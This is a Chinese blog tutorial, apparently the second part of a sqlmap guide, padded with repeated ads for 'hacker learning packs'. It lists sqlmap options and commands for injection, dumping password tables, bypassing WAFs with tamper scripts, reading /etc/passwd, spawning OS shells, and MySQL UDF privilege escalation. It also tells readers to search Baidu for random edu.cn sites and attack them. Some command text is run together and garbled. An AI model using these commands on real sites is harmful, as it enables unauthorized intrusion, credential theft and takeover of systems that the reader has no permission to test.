黑客工具之sqlmap安装使用详解(非常详细)零基础入门到精通,收藏这一篇就够了_sqlmap sql server(2)

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

其他
  `-z MNEMONICS        使用短记忆法 (e.g."flu,bat,ban,tec=EU")``   `   `--alert=ALERT       发现SQL注入时,运行主机操作系统命令``   `   `--answers=ANSWERS   当希望sqlmap提出输入时,自动输入自己想要的答案(e.g. "quit=N,follow=N"),例如:sqlmap.py -u"http://192.168.22.128/get_int.php?id=1"--technique=E--answers="extending=N" --batch``   `   `--beep    发现sql注入时,发出蜂鸣声。``   `   `--cleanup     清除sqlmap注入时在DBMS中产生的udf与表。``   `   `--dependencies      Check formissing (non-core) sqlmap dependencies``   `   `--disable-coloring  默认彩色输出,禁掉彩色输出。``   `   `--gpage=GOOGLEPAGE 使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试``   `   `--identify-waf      进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别``   `   `--mobile     有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。``   `   `--offline           Work inoffline mode (only use session data)``   `   `--purge-output     从输出目录安全删除所有内容,有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。``   `   `--skip-waf           跳过WAF/IPS / IDS启发式检测保护``   `   `--smart            进行积极的启发式测试,快速判断为注入的报错点进行注入``   `   `--sqlmap-shell      互动提示一个sqlmapshell``   `   `--tmp-dir=TMPDIR    用于存储临时文件的本地目录``   `   `--web-root=WEBROOT  Web服务器的文档根目录(e.g."/var/www")``   `   `--wizard   新手用户简单的向导使用,可以一步一步教你如何输入针对目标注入`

三、实际利用

检测和利用SQL注入

1.手工判断是否存在漏洞

对动态网页进行安全审计,通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。

原始网页:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

构造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

构造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。

  1. sqlmap自动检测

检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“–batch”命令来自动答复和判断。

  1. 寻找和判断实例

通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,如图1所示。随机打开一个网页搜索结果,如图所示,如果能够正常访问,则复制该URL地址

搜索目标

测试网页能否正常访问

将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞

检测URL地址是否存在漏洞

  1. 批量检测

将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

批量整理目标地址

直接连接数据库

sqlmap.py -d"mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs--users

数据库相关操作

1.列数据库信息:–dbs

2.web当前使用的数据库–current-db

3.web数据库使用账户–current-user

4.列出sqlserver所有用户 --users

5.数据库账户与密码 --passwords

6.指定库名列出所有表 -D database --tables

-D:指定数据库名称

7.指定库名表名列出所有字段 -D antian365-T admin --columns

-T:指定要列出字段的表

8.指定库名表名字段dump出指定字段

-D secbang_com -T admin -C id,password ,username --dump

-D antian365 -T userb -C"email,Username,userpassword" --dump

可加双引号,也可不加双引号。

9.导出多少条数据

-D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump

参数:

–start:指定开始的行

–stop:指定结束的行

此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容


四、SQLMAP实用技巧

1. mysql的注释方法进行绕过WAF进行SQL注入

(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py

return match.group().replace(word,“/*!0%s” % word) 为:

return match.group().replace(word,“/*!50000%s*/” % word)

(2)修改C:\Python27\sqlmap\xml\queries.xml

为:

<castquery=“convert(%s,CHAR)”/>

(3)使用sqlmap进行注入测试

sqlmap.py -u"http://**.com/detail.php? id=16" –tamper “halfversionedmorekeywords.py”

其它绕过waf脚本方法:

sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

(4)tamper目录下文件具体含义:

space2comment.py用/**/代替空格``   ``apostrophemask.py用utf8代替引号``   ``equaltolike.pylike代替等号``   ``space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)``   ``greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。``   ``space2hash.py空格替换为#号,随机字符串以及换行符``   ``apostrophenullencode.py绕过过滤双引号,替换字符和双引号。``   ``halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论``   ``space2morehash.py空格替换为 #号 以及更多随机字符串 换行符``   ``appendnullbyte.py在有效负荷结束位置加载零字节字符编码``   ``ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’``   ``space2mssqlblank.py(mssql)空格替换为其它空符号``   ``base64encode.py 用base64编码替换``   ``space2mssqlhash.py 替换空格``   ``modsecurityversioned.py过滤空格,包含完整的查询版本注释``   ``space2mysqlblank.py 空格替换其它空白符号(mysql)``   ``between.py用between替换大于号(>)``   ``space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)``   ``multiplespaces.py围绕SQL关键字添加多个空格``   ``space2plus.py用+替换空格``   ``bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like``   ``nonrecursivereplacement.py双重查询语句,取代SQL关键字``   ``space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集``   ``sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾``   ``chardoubleencode.py双url编码(不处理以编码的)``   ``unionalltounion.py替换UNION ALLSELECT UNION SELECT``   ``charencode.py url编码``   ``randomcase.py随机大小写``   ``unmagicquotes.py宽字符绕过 GPCaddslashes``   ``randomcomments.py用/**/分割sql关键字``   ``charunicodeencode.py字符串 unicode 编码``   ``securesphere.py追加特制的字符串``   ``versionedmorekeywords.py注释绕过``   ``space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’``   ``halfversionedmorekeywords.py关键字前加注释

2. URL重写SQL注入测试

value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。

sqlmap.py -u"http://targeturl/param1/value1*/param2/value2/"

3. 列举并破解密码哈希值

当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v1

4. 获取表中的数据个数

sqlmap.py -u"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb

5.对网站secbang.com进行漏洞爬去

sqlmap.py -u “http://www.secbang.com”–batch --crawl=3

6.基于布尔SQL注入预估时间

sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1”-b --eta

7.使用hex避免字符编码导致数据丢失

sqlmap.py -u “http://192.168.48.130/pgsql/get_int.php?id=1” --banner --hex -v 3 --parse-errors

8.模拟测试手机环境站点

python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile

9.智能判断测试

sqlmap.py -u “http://www.antian365.com/info.php?id=1”–batch --smart

10.结合burpsuite进行注入

(1)burpsuite抓包,需要设置burpsuite记录请求日志

sqlmap.py -r burpsuite抓包.txt

(2)指定表单注入

sqlmap.py -u URL --data“username=a&password=a”

11.sqlmap自动填写表单注入

自动填写表单:

sqlmap.py -u URL --forms``   ``sqlmap.py -u URL --forms --dbs``   ``sqlmap.py -u URL --forms --current-db``   ``sqlmap.py -u URL --forms -D 数据库名称--tables``   ``sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns``   ``sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump

12.读取linux下文件

sqlmap.py-u “url” --file /etc/password

13.延时注入

sqlmap.py -u URL --technique -T–current-user

14. sqlmap 结合burpsuite进行post注入

结合burpsuite来使用sqlmap:

(1)浏览器打开目标地址http://www.antian365.com

(2)配置burp代理(127.0.0.1:8080)以拦截请求

(3)点击登录表单的submit按钮

(4)Burp会拦截到了我们的登录POST请求

(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下

(6)运行sqlmap并使用如下命令:

./sqlmap.py -r post.txt -p tfUPass

15.sqlmap cookies注入

sqlmap.py -u “http://127.0.0.1/base.PHP”–cookies “id=1” –dbs –level 2

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:

sqlmap.py -u 注入点URL --cookie"id=xx" --level 3``   ``sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)``   ``sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns``   ``sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump

16.mysql提权

(1)连接mysql数据打开一个交互shell:

sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --sql-shell``   ``select @@version;``   ``select @@plugin_dir;``   ``d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\

(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:

sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll``   ``CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'``   ``CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'``   ``select sys_eval('ver');

17.执行shell命令
sqlmap.py -u "url" –os-cmd="netuser" /*执行net user命令*/``sqlmap.py -u "url" –os-shell /*系统交互的shell*/

18.延时注入

sqlmap –dbs -u"url" –delay 0.5 /*延时0.5秒*/``sqlmap –dbs -u"url" –safe-freq /*请求2次*/

`黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 8
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值